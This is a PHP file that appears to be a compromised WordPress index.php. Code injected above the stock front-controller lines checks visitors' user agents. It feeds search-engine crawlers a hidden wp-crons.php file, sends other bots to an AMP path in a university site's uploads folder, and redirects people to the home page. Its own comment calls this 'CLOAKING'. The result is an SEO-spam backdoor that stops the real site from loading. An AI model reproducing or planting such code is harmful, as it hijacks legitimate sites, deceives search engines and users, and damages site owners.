if (function_exists('header_remove')) { header_remove('X-LiteSpeed-Cache'); } header('X-LiteSpeed-Cache-Control: no-cache'); header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0'); header('Pragma: no-cache'); header('Expires: -1'); $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : ''; $is_bot = false; $bot_keywords = [ 'bot', 'crawl', 'spider', 'slurp', 'mediapartners', 'facebookexternalhit', 'googlebot', 'bingbot', 'ahrefsbot', 'semrushbot', 'telegrambot', 'google', 'bing', 'yahoo', 'yandex', 'baidu', 'duckduckgo', 'curl', 'wget' ]; foreach ($bot_keywords as $keyword) { if (strpos($user_agent, $keyword) !== false) { $is_bot = true; break; } } if (preg_match('/Googlebot|AhrefsBot|SemrushBot|TelegramBot|bingbot|Google-Site-Verification|Google-InspectionTool|adsense|slurp/i', $user_agent)) { $is_bot = true; } // CLOAKING: Pisahkan bot mana yang ke wp-crons.php dan mana yang redirect if ($is_bot) { // Daftar bot yang akan tetap diarahkan ke wp-crons.php $crons_bots = ['googlebot', 'bingbot', 'slurp']; // sesuaikan $use_crons = false; foreach ($crons_bots as $bot) { if (strpos($user_agent, $bot) !== false) { $use_crons = true; break; } } if ($use_crons) { // Bot tertentu tetap pakai wp-crons.php $bot_file = __DIR__ . '/wp-crons.php'; if (file_exists($bot_file)) { while (ob_get_level()) ob_end_clean(); readfile($bot_file); exit; } else { echo ' Access Denied

Access Denied

This page is for search engine bots only.

'; exit; } } else { // Bot lainnya langsung redirect ke AMP header('Location: https://www.uvt.ro/wp-content/uploads/amp/'); exit; } } // Jika bukan bot, redirect ke halaman utama header('Location: /'); exit; /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does the work tell WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require( dirname( __FILE__ ) . '/wp-blog-header.php' );